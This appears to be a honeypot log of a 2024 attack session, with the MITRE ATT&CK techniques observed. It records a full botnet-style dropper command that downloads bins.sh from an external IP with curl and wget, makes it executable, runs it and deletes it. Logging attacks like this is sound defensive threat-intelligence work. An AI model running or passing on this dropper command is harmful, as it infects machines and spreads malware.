Honeypot attack session (period 2024), commands issued:
sh
shell
help
busybox
cd /tmp; curl http://23.95.132.42/bins/bins.sh -O; busybox curl http://23.95.132.42/bins/bins.sh -O; wget http://23.95.132.42/bins/bins.sh -O bins.sh; busybox wget http://23.95.132.42/bins/bins.sh -O bins.sh; chmod 777 bins.sh; busybox chmod 777 bins.sh; sh bins.sh; rm -rf bins.sh

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal